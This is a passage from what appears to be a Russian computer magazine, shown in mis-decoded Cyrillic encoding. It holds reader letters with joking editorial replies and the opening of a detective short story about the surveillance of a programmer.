ëîñü áû ðàíüøå, íî ìû äîëãî äóìàëè — äåéñòâèòåëüíî ëè ýòî èíòå-
ðåñíî âñåé îãðîìíîé òîëïå íàøèõ ÷èòàòåëåé? Ïðÿìî âñåì-âñåì? Òàê
âîò, óâàæàåìûå ÷èòàòåëè — îòïèøèòå ìíå íà ýòó òåìó, ïîæàëóéñòà.
Êñòàòè, ÷àñòè÷íî ìû êàñàëèñü òåìû Ìàêîâ â íîìåðå «íåPC».

toCuchukSergey@yandex.ru
Ñòàòüÿ «Ðåêîìåíäàöèè ïî ðàáîòå çà êîìïüþòåðîì»

Íèæå ïðåäñòàâëåíà ìîÿ ñòàòüÿ, êîòîðóþ ìíå áû õîòåëîñü, ÷òîáû 
Âû îïóáëèêîâàëè ó ñåáÿ â æóðíàëå. Ìåíÿ çîâóò Êó÷óê Ñåðãåé 
Àëåêñàíäðîâè÷, ã. Ìèíñê.

Ñïàñèáî, çà÷èòàë. Ïîíà÷àëó ìíå ïîêàçàëîñü, ÷òî ñòàòüÿ ïåðåäåëàíà
èç ðåôåðàòà äëÿ êàêîãî-íèáóäü Èíñòèòóòà Ôèçêóëüòóðû. Òàêîé âû-
âîä ÿ ñäåëàë èç îáèëèÿ ÃÎÑÒîâ, ÑÀÍÏèÍîâ è ïðî÷èõ âåëèêèõ áþ-
ðîêðàòè÷åñêèõ êàíöåëÿðèçìîâ. Íåò, êîíå÷íî, õîðîøî, ÷òî òû ïðîäå-
ëàë òàêóþ ðàáîòó, íî çà÷åì æå íå ñîâñåì äîêàçàòåëüíûå óòâåðæäå-
íèÿ ïðî, äîïóñòèì, âèòàìèíîòåðàïèþ? Â îáùåì, ïîêà çà÷åò íå ñòà-
âèì — áþðîêðàòè÷åñêèé ñòèëü ìû íå óâàæàåì. Åñëè îñèëèøü àäàï-
òèðîâàòü ñâîè ðåêîìåíäàöèè è èçëîæèòü èõ â ïðîñòîì è ïîíÿòíîì
ñòèëå — ïîñìîòðèì åùå ðàçîê.

sky.31337@gmail.com
SkyWriter
ß óñòàë, ÿ óõîæó :-)

Ïðèâåò âñåì!
Õî÷åòñÿ íàïèñàòü ÷òî-íèáóäü ïðîñòîå,
êàê ïåíü, è ïîïóëÿðíîå, êàê Ïóòèí.
Èëè ïðîñòîå, êàê Ïóòèí, è ïîïóëÿð-
íîå, êàê ïåíü. Íî, êàê-òî âäîõíîâåíèå
íåéäåò :-). Â îáùåì, ïèøó ÿ Âàì, ÷òî-
áû ñîîáùèòü, ÷òî ðåøèë ïîäâÿçàòü ñ
òàêèì âðåäíûì äåëîì, êàê æóðíàëèñ-
òèêà, è ýòî, ïî-âèäèìîìó, ìîé ïîñëåä-
íèé äèñê.

Îãðîìíîå ñïàñèáî âàì, ìîèì
òåðïåëèâûì è òàëàíòëèâûì êîëëåãàì
(è îñîáåííî òåðïåëèâîìó Àâàëàí÷ó —
îòäåëüíîå ìåðñè :-)! Îãðîìíîå óäî-
âîëüñòâèå — ðàáîòàòü ñ âàìè. Â ëþ-
áîé ñèòóàöèè áóäó ðàä ïîìî÷ü! È òîãî
æå æäó îò âàñ ;-).
Ñ óâàæåíèåì,
Èâàí Êàñàòåíêî.

Äàâíî ïîðà! Òî åñòü íåò, ÿ íå
òî õîòåë ñêàçàòü. Ïî÷åìó? 
Ïî÷åìó? Íà êîãî æå òû íàñ
áðîñàåøü? Êîíå÷íî, òû ñàìûé
âåëèêèé ðàçäîëáàé è êèäàëà 
â èñòîðèè ìèðîâîãî ïðîãðàì-
ìèíãà, çàòî ïàðåíü âåñåëûé!
Êðîìå òîãî, íåÿñíûì îñòàåòñÿ
âîïðîñ òâîåé ñåêñóàëüíîé îðè-
åíòàöèè è íåïîíÿòíî, ïî÷åìó

æå òû òðîãàë Àâàëàí÷à çà çàäíèöó. Òàêæå ïëîõî, ÷òî òû íå îñòà-
âèë ïðååìíèêà èç êàêîãî-íèáóäü ñèëîâîãî âåäîìñòâà, âåäü ýòî 
âûáèâàåòñÿ èç çàÿâëåííîé òîáîé êàíâû! Íó äà ëàäíî. Â îáùåì, 
îò âñåãî êîëëåêòèâà — óäà÷è, áóäåì íàäåÿòüñÿ, òû ñêîðî ïðîñëà-
âèøüñÿ êàêèì-íèáóäü ñóïåðïðîãðàììíûì êîìïëåêñîì äëÿ ñòàòèñ-
òè÷åñêîãî ó÷åòà øàóðìû.

dmitrysmit@yahoo.com
Dmitry Smit 
***COPYRIGHT!

ß õîòåë áû ñîçäàòü ñàéò î ðàçðàáîòêå èãð, â êîòîðîì ìíå áû î÷åíü
õîòåëîñü èñïîëüçîâàòü íåêîòîðûå ñòàòüè èç âàøåãî ìàðòîâñêîãî íîìåðà
Õàêåð-Ñïåö &#8470;64 2006ã. «Game Coding». Íà ÷òî è ïðîøó âàøåãî
ðàçðåøåíèÿ!
Çàðàíåå áëàãîäàðþ!

À íå õî÷åøü ëè òû èñïîëüçîâàòü äëÿ îôîðìëåíèÿ ñâîåãî ñàéòà ôî-
òî ðàçëè÷íûõ ãîëûõ æåíùèí? Äóìàþ, ýòî òîæå íåïëîõî áû åãî óêðà-
ñèëî. Íó äà ëàäíî, íîãè, â ñìûñëå, øóòêè â ñòîðîíó. Âîîáùå, ñîáëþ-
äàòü êîïèðàéòû — ïðàâèëüíàÿ ìûñëü. Äåëî â òîì, ÷òî íàñ èíîãäà
ñïðàøèâàþò: «Ïî÷åìó íåêîòîðûå ëþäè, êîòîðûå âîðóþò ñòàòüè, ÷à-
ùå äðóãèõ çàðàæàþòñÿ ëèõîðàäêîé çàïàäíîãî Íèëà, ïîïàäàþò â
àâàðèè, ïàäàþò ñ íåáîñêðåáîâ èëè íà ðàçëè÷íûå îñòðûå ïðåäìåòû?
Îòêóäà òàêîé âûñîêèé ïðîöåíò ñðåäè íèõ íàñèëüñòâåííûõ ñìåð-
òåé?». «Íå çíàåì», — îòâå÷àåì ìû. Ìû æå íå ñòàòèñòû êàêèå-íè-
áóäü è óæ òåì áîëåå íå äåìîãðàôû. ß äóìàþ, ïðè÷èíà òóò ïðîñòàÿ
— êîíöåíòðàöèÿ Çëà â ÷åëîâåêå ïðåâûøàåò äîïóñòèìûå çíà÷åíèÿ è
âûõîäèò íà ñâîáîäó â âèäå âñÿ÷åñêèõ ïðîèñøåñòâèé. Òàê âîò, ïîñ-
êîëüêó òû íå õî÷åøü óâåëè÷èâàòü ýíòðîïèþ âñåëåííîé, ñëóøàé ïëàí
äåéñòâèé:

1 ÂÛÊËÀÄÛÂÀÒÜ ÌÎÆÍÎ ÒÎËÜÊÎ ÑÒÀÒÜÈ ÄÂÓÕ È ÁÎËÅÅ
ÌÅÑß×ÍÎÉ ÄÀÂÍÎÑÒÈ;

2 ÍÀÄÎ ÏÎÄÏÈÑÀÒÜ, ÎÒÊÓÄÀ, ÈÇ ÊÀÊÎÃÎ ÆÓÐÍÀËÀ ÑÒÀÒÜß
ÂÇßÒÀ È ÒÈÑÍÓÒÜ ËÈÍÊ ÍÀ ÑÒÀÒÜÞ ÍÀ ÕÀÊÅÐÅ.ÐÓ;

3 ÑÊÈÍÓÒÜ ËÈÍÊ ÍÀÌ, ×ÒÎÁÛ ÌÛ ÏÎÐÀÄÎÂÀËÈÑÜ ÂÌÅÑÒÅ 
Ñ ÒÎÁÎÉ.

Âîò è âñå, óäà÷è òåáå â ñàéòîäåëàíèè! 
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ÏÀÌÏÅÐÑÛ
ÈËÈ OVERCLOCKING
ÌÎÁÈËÜÍÛÉ ÇÀÏÈËÈÊÀË ÍÅÎÆÈÄÀÍÍÎ — ÏÅÐØÈÍ ÂÇÄÐÎÃÍÓË 
È ÁÛÑÒÐÎ ÏÐÈÍßËÑß ÂÑÏÎÌÈÍÀÒÜ, Â ÊÀÊÎÌ ÊÀÐÌÀÍÅ ÒÅËÅÔÎÍ. 
ÏÎÒÎÌ ÓÂÈÄÅË ÅÃÎ ÍÀ ÏÎÄÑÒÀÂÊÅ, ÇÀÊÐÅÏËÅÍÍÎÉ Â ÏÐÈÁÎÐÍÓÞ
ÏÀÍÅËÜ, ÏÐÎÒßÍÓË ÐÓÊÓ, ÍÀÆÀË
N I R O  ( N I R O @ R E A L . X A K E P . R U ,
W W W . N I R O - D E - R O B E R T . L I V E J O U R N A L . C O M )

— Ñëóøàþ.
Êèíóë âçãëÿä âïåðåä — ñâåòîôîð äîëæåí óñïåòü ñìåíèòüñÿ íà

çåëåíûé, ãëàâíîå — íå äàòü ëèøíåãî ãàçó.
— ×òî âûÿñíèëè?
— Çíà÷àùåé èíôîðìàöèè íåìíîãî, — Ïåðøèí ñîîáðàæàë, êàê áû ïîó-
äîáíåå ïðèæàòü ìîáèëó ê ïëå÷ó, ÷òîáû ïåðåêëþ÷èòü ïåðåäà÷ó. «Ãîâî-
ðèë æå ñåáå ìèëëèîí ðàç — êóïè ãàðíèòóðó, äåíüãè æå åñòü…». — Ìè-
íóòêó, — ñêàçàë îí â òåëåôîí, âîòêíóë åãî îáðàòíî â ïîäñòàâêó è íà-
æàë êíîïêó «Ãðîìêàÿ ñâÿçü». Ïåðåäà÷ó âñå-òàêè ïðèøëîñü ñìåíèòü —
ñâåòîôîð íó íèêàê íå õîòåë ìåíÿòü ñâîé ñâåò.
— ×òî çà çàìèíêà? — ðàçäàëñÿ õðèïëûé ãîëîñ â ìîáèëå.
— Òåõíè÷åñêèå ïðîáëåìû… — Ïåðøèí óõìûëüíóëñÿ. — Èòàê —
÷òî âàñ èíòåðåñóåò?
— Âñå. Â îñíîâíîì — ïåðåìåùåíèÿ è êîíòàêòû.
— Ýòîãî ïðåäîñòàòî÷íî, — ñàì ñåáå êèâíóë Ïåðøèí, ãëÿäÿ ïî ñòîðîíàì. —
ß, êîíå÷íî, âñå çàïèñûâàë, êîå-÷òî äàæå íà âèäåî. Âû õîòèòå ñåé÷àñ èëè îò-
÷åò â ïèñüìåííîé ôîðìå? Ìîãó ïðåäîñòàâèòü ÷åðåç ÷àñ, ìàêñèìóì ïîëòîðà.
— Îò÷åò, íåñîìíåííî, íåîáõîäèì, — ðàçäàëîñü èç òåëåôîíà. —
Íî ñêàæèòå — îí âñòðå÷àëñÿ ñ êåì-íèáóäü èç îðãàíîâ ìèëèöèè?
— Îòâåò îòðèöàòåëüíûé.
— Ñ êåì-íèáóäü èç ìèðà õàêåðîâ, íåëåãàëüíûõ òîðãîâöåâ ñîôòîì,
ïðîãðàììèñòîâ?

Ïåðøèí íàõìóðèë ëîá:
— Íå äóìàþ, ÷òî ýòî ëåãêî äèôôåðåíöèðîâàòü íà õîäó. Ìîãó ñêàçàòü,
÷òî íà ðûíêå êîíòðàôàêòíîé ïðîäóêöèè åãî íå áûëî. Íè ó êîãî ñ ðóê
íè÷åãî íå ïîêóïàë. Âñåõ åãî äðóçåé ÿ ïîêà â ëèöî íå âûó÷èë: íà êîìïü-
þòåðå ñðàâíþ, òîãäà ñêàæó.
— Òîãäà ãäå æå îí áûë âñå ýòî âðåìÿ?

Ïåðøèí ìèãíóë ïîâîðîòíèêîì, âúåõàë â ïåðåóëîê âîçëå 
äîìà, îñòàíîâèëñÿ.
— Îí — ãóëÿë. Èç ìàãàçèíîâ — ïðîäóêòîâûå, áûòîâàÿ òåõíèêà…
Èç êîíòàêòîâ — âîçëå ìåòðî «Áàððèêàäíàÿ» äîëãî ðàçãîâàðèâàë
ñ ïðîäàâöîì áóêèíèñòèêè, ìèíóò äâàäöàòü, íàâåðíîå. ß ïðîâåðÿë —
òàì òîëüêî õóäîæåñòâåííàÿ ëèòåðàòóðà.
— Åùå? Ñ êàêèìè ëþäüìè êîíòàêòèðîâàë?
— Îäíó æåíùèíó çíàþ — ñ íèì âìåñòå ðàáîòàåò, â èíñòèòóòå.
— Ïðîãðàììèñò?
— Õóæå — ãàðäåðîáùèöà. Æèâåò â ñîñåäíåì ñ íèì ïîäúåçäå. Êîí-
òàêò ñëó÷àéíûé — ýòî îäíîçíà÷íî. Åé çà øåñòüäåñÿò, íèêàêîãî ëè÷-
íîãî èíòåðåñà.
— Óâåðåíû?
— Ñåé÷àñ íè â ÷åì íåëüçÿ áûòü óâåðåííûì äî êîíöà. Ìèð ñîøåë ñ óìà…
— Õâàòèò ëèðèêè, — Ïåðøèíà îáîðâàëè íå ãðóáî, íî òðåáîâàòåëü-

íî. — Áîã ñ íåé, ñ ãàðäåðîáùèöåé. Âû íå çàìåòèëè çà íèì ÷åãî-íèáóäü
ñòðàííîãî, ÷åãî-òî, ÷òî íå óêëàäûâàëîñü áû â îáùóþ êàðòèíó æèçíè
ìîëîäîãî ÷åëîâåêà, æèâóùåãî âåñüìà è âåñüìà ñêðîìíî?

Ïåðøèí óëûáíóëñÿ. Îí ÿâíî õîòåë áû îêàçàòüñÿ ðÿäîì ñ çàêàç-
÷èêîì â òîò ìîìåíò, êîãäà ñêàæåò åìó ñàìîå èíòåðåñíîå. Õîòåë áû
îêàçàòüñÿ ðÿäîì è âçãëÿíóòü íà ðåàêöèþ. Ïîòîìó ÷òî ñàì îí îòðåàãè-
ðîâàë íà òî, ÷òî ïðîèçîøëî, î÷åíü è î÷åíü ðàçíîñòîðîííå — ñíà÷àëà
íå ïîíÿë, ïîòîì óäèâèëñÿ, ïîòîì ðàññìåÿëñÿ, è, íàêîíåö, ñíîâà îêà-
çàëñÿ â ïîëíîì íåïîíèìàíèè ïðîèñõîäÿùåãî.
— ×òî âû ñàìè î íåì çíàåòå? — çàäàë âñòðå÷íûé âîïðîñ Ïåðøèí. —
Äàâàéòå ðàçëîæèì ïî ïîëî÷êàì âñå, ÷òî ñóìåëè íàêîïèòü çà ïîñëåä-
íèå òðè äíÿ íàáëþäåíèÿ.

Ñîáåñåäíèê ïîìîë÷àë íåñêîëüêî ñåêóíä, ïîòîì ñêàçàë:
— Íà÷íó ñ ïàñïîðòíûõ äàííûõ — Êîáçàðü Íèêèòà, äâàäöàòè âîñüìè
ëåò, ïðîãðàììèñò, ðàáîòàåò â íàó÷íî-èññëåäîâàòåëüñêîì èíñòèòóòå…
Ðàáîòà ñâÿçàíà ñ ñîçäàíèåì ñèñòåì ðàñïðåäåëåííîãî âû÷èñëåíèÿ äëÿ
êîñìè÷åñêèõ èññëåäîâàíèé. Ðàáîòàåò íà ýòîì ìåñòå øåñòîé ãîä, ñðàçó
ñ ìîìåíòà ïîëó÷åíèÿ äèïëîìà. Çàêîí÷èë âóç ñ ñåðåáðÿíûì äèïëîìîì.
Íà ðàáîòå íà õîðîøåì ñ÷åòó…
— Îò ñåáÿ äîáàâëþ — íà î÷åíü õîðîøåì ñ÷åòó, — Ïåðøèí äàâíî
çàãëóøèë ìîòîð, âêëþ÷èë «Ìàêñèìóì» è ñëóøàë øîó Áà÷èíñêîãî è
Ñòèëëàâèíà (îí âñåãäà óìåë äåëàòü îäíîâðåìåííî íåñêîëüêî äåë,
íå âûïóñêàÿ èç âèäó íè÷åãî, ÷òî ìîãëî áû îêàçàòüñÿ âàæíûì). —
Ñåé÷àñ ïèøåò êàíäèäàòñêóþ ïîä ðóêîâîäñòâîì îäíîãî èç áîññîâ
èíñòèòóòà. Òåìà — êðàéíå çàïóòàííàÿ, íå áóäó âäàâàòüñÿ â ïîäðîá-
íîñòè. Ïèøåò, óñïåâàÿ ïðè ýòîì âûïîëíÿòü ìàññó ðàáîòû â îòäåëå.
Îí ìíîãî — ÷åðòîâñêè ìíîãî — ïðîãðàììèðóåò, ñòàâèò êàêèå-òî
ýêñïåðèìåíòû… Åñòåñòâåííî, ðàáîòà çàñåêðå÷åíà, ñàì îí ïîä êîë-
ïàêîì ñïåöñëóæá — íî âû æå êàê-òî ñóìåëè ñâÿçàòüñÿ ñ íèì àíî-
íèìíî è òàéíî…
— Ñóìåë, íå îí îäèí ðàçáèðàåòñÿ â êîìïüþòåðàõ è ñåòÿõ, — ñîáåñåä-
íèê âìåøàëñÿ â ýòîò êîììåíòàðèé. — ß äàæå çíàþ òåìó åãî äèññåðòà-
öèè — íî èç âîñåìíàäöàòè ñëîâ íàçâàíèÿ ÿ ëè÷íî ïîíèìàþ òîëüêî ÷å-
òûðå. Ïîýòîìó ïîâåðèì â åãî ãåíèé çàî÷íî. Äàëüøå.
— Äàëüøå — áîëüøå. Ñ ñåìüåé ó íåãî âñå çàïóòàíî — ìàìà óìåðëà,
êîãäà åìó áûëî ÷åòûðå ãîäà. Ðàê. Ïðàâäà, äàííûå íå ñîâñåì òî÷íûå —
íî â ñâÿçè ñî ñðîêîì äàâíîñòè åå àìáóëàòîðíàÿ êàðòà ñïðÿòàíà â êà-
êèå-òî çàïóòàííûå è ìàëî èçâåñòíûå àðõèâû. Îòåö — âîîáùå òàéíà,
ïîêðûòàÿ ìðàêîì. Ñëîæíî âîîáùå ñêàçàòü, êàêèì îáðàçîì ÷åëîâåê
ïî èìåíè Íèêèòà Êîáçàðü ïîÿâèëñÿ íà ñâåòå. Âðÿä ëè èç ïðîáèðêè, ïî-
ýòîìó ïðèìåì íà âåðó ôàêò, ÷òî îòåö áûë.
— Äà óæ, íå äóìàþ, ÷òî ó åãî ìàòåðè ïî÷òè òðèäöàòü ëåò íàçàä áûëà
âîçìîæíîñòü çàáåðåìåíåòü êàêèì-òî ýêçîòè÷åñêèì ñïîñîáîì. È óæ ïî-
âåðüòå, åãî ðîäîñëîâíàÿ ìåíÿ íå î÷åíü èíòåðåñóåò.
— Òîãäà íå áóäåì çàîñòðÿòü âíèìàíèÿ íà ðîäñòâåííèêàõ, êîèõ ïðàê-
òè÷åñêè íå íàáëþäàåòñÿ. Æèâåò îí îäèíîêî, èíîãäà ïðèâîäèò æåí-
ùèí — â ïîñëåäíåå âðåìÿ âñå áîëüøå äâîèõ… Â ñìûñëå, íå ñðàçó,



â èçâðàùåíèÿõ îí íå çàìå÷åí — òî îäíó, òî äðóãóþ. Âûáèðàåò, ÿ äó-
ìàþ. Çà ýòó íåäåëþ ÿ âèäåë ïåðâóþ òðè ðàçà, âòîðóþ — îäèí. Õîòÿ íà
ìîé âêóñ — ëó÷øå áû íàîáîðîò.
— Âàø âêóñ ìåíÿ ìåíüøå âñåãî èíòåðåñóåò. ×òî çà æåíùèíû? —
÷óâñòâîâàëîñü, ÷òî ñîáåñåäíèêó íå ïî íðàâó òàêàÿ ìàíåðà Ïåðøèíà
âåñòè äèàëîã, íî äåâàòüñÿ áûëî íåêóäà — ÷àñòíûé äåòåêòèâ óìåë ïðå-
ïîäíåñòè ôàêòû, ïðîàíàëèçèðîâàòü èõ è ñäåëàòü íåîáõîäèìûå òî÷íûå
âûâîäû. — Èìåíà, íðàâû, ïðîôåññèè?

Ïåðøèí ïîíÿë, ÷òî ñåé÷àñ íóæíî âûäàòü ñæàòóþ èíôîðìàöèþ —
åãî èãðèâûé òîí çàäåâàë çàêàç÷èêà íå íà øóòêó.
— Ìàðèíà, äâàäöàòü äâà, ñòóäåíòêà — Êîáçàðü âåäåò ó íåå ãîñóäàð-
ñòâåííóþ ïðàêòèêó. Ýòî åå îí ïðèâîäèë òðèæäû. Âòîðàÿ — Ëþäìèëà, âî-
ñåìíàäöàòü, ÷åðò åå çíàåò, êòî îíà òàêàÿ. Áåç îïðåäåëåííîãî ðîäà çàíÿ-
òèé. Ñ íåé Êîáçàðü ïîçíàêîìèëñÿ â íî÷íîì êëóáå, ê êîòîðûì ó íåãî,
êñòàòè, èììóíèòåò. Ñõîäèò ðàç â ìåñÿö, íàïüåòñÿ ïèâà, è äîìîé. Íå çàâ-
ñåãäàòàé, â îáùåì… Òàê âîò — Ëþäìèëà. Êðàñàâèöà — ïðîñòî çàãëÿ-
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äåíüå. Ìîãó ñäåëàòü âûâîä, êîòîðûé íàïðà-
øèâàåòñÿ ñàì ñîáîé — Ìàðèíà ÷åðåç ïîñ-
òåëü çàðàáàòûâàåò ñåáå çà÷åò, Ëþäìèëà æå
ïðîñòî äëÿ äóøè. Ïðîñòî Ìàðèíà ëó÷øå îò-
ðàáàòûâàåò — ïîýòîìó åå ïîêà õâàòàåò.
— Âû öèíèê. Ýòè äàìû ÷òî-íèáóäü ïîíèìà-
þò â êîìïüþòåðàõ?
— Ëþäìèëà — âðÿä ëè. Äåâèöà äëÿ ïðèÿò-
íîãî âðåìÿïðåïðîâîæäåíèÿ, íå áîëåå òîãî.
Ìàðèíà — ïî îïðåäåëåíèþ äîëæíà. Ìîæåò,
äàæå íåïëîõî. Íî êàê-òî ñ òðóäîì âåðèòñÿ.
Âû ìíîãî âèäåëè äåâóøåê, õîðîøî ðàçáè-
ðàþùèõñÿ â ÿçûêàõ ïðîãðàììèðîâàíèÿ?
— Çíàë îäíó… — çàêàç÷èê ïîìîë÷àë íåñ-
êîëüêî ñåêóíä. — Ïî âîåííîìó âåäîìñòâó.
Äàâíî ýòî áûëî…
— Äàâíî — íå ñ÷èòàåòñÿ.

Ïåðøèí ïðèêðûë ãëàçà, âñïîìèíàÿ ñî-
áûòèÿ áëèæàéøèõ òðåõ äíåé.
— Âîò åùå ÷òî, — ïðîäîëæèë îí. — Åñòü
î÷åíü è î÷åíü íåîáû÷íûé ôàêò, êîòîðûé íå
óêëàäûâàåòñÿ â öåëü ìîåãî ðàññëåäîâàíèÿ,
íî ìèìî íåãî ÿ íå ìîãó ïðîéòè.
— Âûêëàäûâàéòå.
— ß òóò ïûòàëñÿ ïðîàíàëèçèðîâàòü ãðàôèê
åãî ïåðåìåùåíèé, ïîñåòèë òå ìàãàçèíû, êî-

òîðûå ÿâëÿþòñÿ äëÿ íåãî öåíòðîì âñåëåííîé, è âûÿñíèë — ñëó÷àéíî,
çàìåòüòå — ÷òî îí ïî êàêèì-òî ïðè÷èíàì ïîêóïàåò ïðîäóêòîâ áîëüøå,
÷åì â ñîñòîÿíèè ñúåñòü ìóæ÷èíà… Äàæå ìóæ÷èíà, êîòîðûé èíîãäà
ïðèâîäèò äîìîé ãîñòåé. ß îäíàæäû óâèäåë, êàê îí êóïèë äâå áóëêè
õëåáà, ðåøèë, ÷òî çàïàñàåòñÿ — à îí íà ñëåäóþùèé äåíü îïÿòü… Äâå
áóëêè. Ïîñëå ýòîãî ÿ ñòàë ñ÷èòàòü.
— ×òî âû íàñ÷èòàëè?
— ×òî? Çíàåòå, ÿ ñàì æèâó îäèí — òàê âîò ÿ ñòîëüêî íå ñúåì. Äàæå åñ-
ëè áóäó âîäèòü ê ñåáå ïî ïàðå äðóçåé åæåäíåâíî.
— Âûâîä? Âû æå ïîíèìàåòå — ñàìîå öåííîå â âàøåì ðàññëåäîâàíèè
âû ïðèáåðåãàåòå íàïîñëåäîê. Ãäå âûâîä?

Ïåðøèí ïîïðàâèë çåðêàëî çàäíåãî âèäà, ïîñìîòðåë íà ñåáÿ, ïîäìèãíóë.
— Çäåñü ÷òî-òî íå÷èñòî, — ñêàçàë îí â òåëåôîí.
— Íå íàäî îêêóëüòèçìà. Êîíêðåòíî.
— ×òîáû ñäåëàòü âûâîä, ÿ ïðèáåðåã íàïîñëåäîê ñàìîå èíòåðåñíîå…

Ïåðøèí ñîáðàëñÿ, ñåë ïîóäîáíåå è ïðîäîëæèë:
— Â÷åðà âå÷åðîì îí ïîñåòèë åùå îäèí ìàãàçèí. Äåòñêèé. Çàøåë,
ñïðîñèë ÷òî-òî. Äåâóøêà îãëÿäåëà ñòåëëàæè ñ òîâàðîì, ïîæàëà ïëå÷à-
ìè è ðàçâåëà ðóêàìè. Îí ñïðîñèë ñíîâà — îíà îïÿòü åìó îòêàçàëà, íî
äàëà êàêîé-òî ñîâåò. Îí ïîáëàãîäàðèë è, âûéäÿ èç äåòñêîãî ìàãàçèíà,
çàøåë â áëèæàéøóþ àïòåêó è êóïèë òàì — êàê âû äóìàåòå, ÷òî?
— ×òî? — íå ñäåðæàëñÿ çàêàç÷èê.
— Ïàìïåðñû, — âûäîõíóë Ïåðøèí è çàìåð â îæèäàíèè ðåàêöèè. ×å-
ðåç ìèíóòó êëèåíò ïåðåñïðîñèë:
— ×òî?
— ß òîæå âïàë â ñòóïîð, êîãäà óâèäåë ó íåãî óïàêîâêó. È ïîòîì ïîíÿë,
ïî÷åìó äåâóøêà åìó îòêàçàëà. Ðàçìåðà ïîäõîäÿùåãî íå áûëî.
— Ó íåãî ïðîáëåìû ñî çäîðîâüåì? — ãîëîñ â òåëåôîíå çâó÷àë çàèíòå-
ðåñîâàííî è îøàðàøåíî îäíîâðåìåííî. — ×òî âàì óäàëîñü óçíàòü?
— Çäîðîâüå ó Êîáçàðÿ îòìåííîå. Ìíå íà óì ïðèøëî îäíî — ýíóðåç.
Íî âîïðîñ — îòêóäà îí âçÿëñÿ? Íàñêîëüêî ÿ ïîìíþ, ïîñëå èíñòèòóòà
îí áûë ïðèçâàí íà äâóõìåñÿ÷íûå ñáîðû — è íà êîìèññèè íèêàêèõ æà-
ëîá íå ïðåäúÿâëÿë.
— Âûâîäû! — âíåçàïíî ïîâûñèë ãîëîñ êëèåíò. Áûëî ïîõîæå, ÷òî ó íå-
ãî óæå ñäàþò íåðâû. — ß óñòàë îò ôàêòîâ! Âûâîäû!
— Õîðîøî, — îòâåòèë Ïåðøèí. — Âûâîä òàêîâ — Íèêèòà Êîáçàðü òà-
ëàíòëèâûé ïðîãðàììèñò, êîòîðûé ñïèò ñ äâóìÿ äàìàìè è íå èìååò äðó-
çåé â ñðåäå õàêåðîâ; îí åñò çà äâîèõ è ñòðàäàåò ýíóðåçîì. Ýòîãî ìàëî?
— Íå çíàþ, — õðèïëî îòâåòèë çàêàç÷èê. — Ñîãëàøóñü ñ âàìè — çäåñü
÷òî-òî íå÷èñòî. Ìíå íàäî ïîäóìàòü…
— Ìíå òîæå, — ñîãëàñèëñÿ Ïåðøèí. — Ìîæåò, ÷òî-òî åùå ïðèäåò
íà óì. Åñëè ÷òî — ÿ ñðàçó îòçâîíþ. ×òî òàì ó íàñ ñ ãîíîðàðîì?
— Áóäåò, âñå áóäåò, — òîðîïëèâî îòâåòèëè â òåëåôîíå. — Ñ÷åò ó âàñ
íå ìåíÿåòñÿ, äåíüãè ïîëîæó çàâòðà äî îäèííàäöàòè óòðà. Ó ìåíÿ âñå
òî÷íî. Íî ïðîøó âàñ — äóìàéòå íà âñþ êàòóøêó. Ñëèøêîì âåëèêà
òà öåíà, êîòîðóþ ÿ ãîòîâ ïëàòèòü çà ñîòðóäíè÷åñòâî ñ Êîáçàðåì.

Ïåðøèí íàõìóðèëñÿ — ïî÷åìó-òî ïîäîáíûå òðåáîâàíèÿ åãî âñåã-
äà íàïðÿãàëè. Íî äåíüãè — îíè âåäü íå ïàõíóò…

* * * 
Ëåïèõèí îòñòðåëÿëñÿ ñåãîäíÿ íà ïÿòü áàëëîâ. È âðîäå áû íèêòî íå îáÿ-
çûâàë åãî, êîìàíäèðà ïîäðàçäåëåíèÿ, çàíèìàòüñÿ ñòðåëêîâîé ïîäãî-
òîâêîé ñâåðõ âñÿêîãî ïëàíà — è âñå ðàâíî áûëî ïðèÿòíî ñîâåðøèòü
ìàëåíüêóþ ïîáåäó íàä ìèøåíÿìè, çàâàëèòü ïàðó-òðîéêó ðîñòîâûõ êîí-
òóðîâ â òðàâó ïîëèãîíà…

Ñäàë àâòîìàò, ðàñïèñàëñÿ â æóðíàëå. Âîøåë â áåòîííûé êâàäðàò
áåç êðûøè — çàùèòíîå ïîìåùåíèå íà ñòðåëüáèùå. Ïåðåîäåëñÿ èç êà-
ìóôëèðîâàííîé ôîðìû â îáû÷íóþ, íà ñåêóíäó çàäåðæàëñÿ, âòÿíóë
âîçäóõ — çàïàõ ïîðîõà ïðèÿòíî ùåêîòàë íîçäðè.

Âûéäÿ â áåòîííûé ïðîåì, çàìåíÿþùèé ñîáîé äâåðü, îí îãëÿäåë-
ñÿ. Äî áëèæàéøåãî çäàíèÿ — íàáëþäàòåëüíîãî ïóíêòà ïîëèãîíà — áû-
ëî îêîëî òðåõñîò ìåòðîâ. Ïðÿìî ïåðåä íèì âîçâûøàëñÿ ïåðåïàõàííûé
ðàçðûâàìè «Ãðàäà» õîëì. Ïî îáå ñòîðîíû îò íåãî — ïîëîñû ïðåïÿò-
ñòâèé; ñïðàâà äëÿ ïåõîòû, ñëåâà — äëÿ áðîíåòåõíèêè. Ïîëèãîí ôåäå-
ðàëüíîãî çíà÷åíèÿ…

È îí íà ýòîì ïîëèãîíå — íå ïîñëåäíÿÿ ôèãóðà.
Êîìàíäèð ïîäðàçäåëåíèÿ, î ðàáîòå êîòîðîãî íå ïðèíÿòî êðè÷àòü

íà êàæäîì óãëó. Ñåêðåòíàÿ ðàáîòà…
Êîí÷èêè ïàëüöåâ ëåãêî ïîêàëûâàëî ïîñëå âèáðàöèè àâòîìàòà. Ëå-

ïèõèí ïîòåð ëàäîíè, ïîäóìàë, ñòîèò ëè åìó òîðîïèòüñÿ íà íàáëþäàòåëü-
íûé ïóíêò èëè ìîæíî ïðîéòè ýòè òðèñòà ìåòðîâ íå òîðîïÿñü, ïîêóñûâàÿ
òðàâèíêó è äóìàÿ î æèçíè. Èç ãîëîâû íèêàê íå øëà â÷åðàøíÿÿ ðàáîòà…

Îí ìåäëåííî äâèíóëñÿ ïî äîðîãå, ãëÿäÿ ñåáå ïîä íîãè.
— Âðîäå áû âñåãäà õâàòàëî äåíåã, — ïðîèçíåñ îí, ñäåëàâ ïåðâûå íåñ-
êîëüêî øàãîâ. — Âåäü ïëàòèëè ñòîëüêî, ÷òî íóæåí áûë ìåøîê, ÷òîáû
óíåñòè. À åñëè âûïàäàëè áîåâûå, òî òóò óæ õîòü êàæäûé äåíü êâàðòèðó
ïîêóïàé. Çà÷åì ïîëåç-òî?..

Â êàðìàíå òðåáîâàòåëüíî çàãóäåë âèáðîçâîíîê. Ëåïèõèí ïðîòÿ-
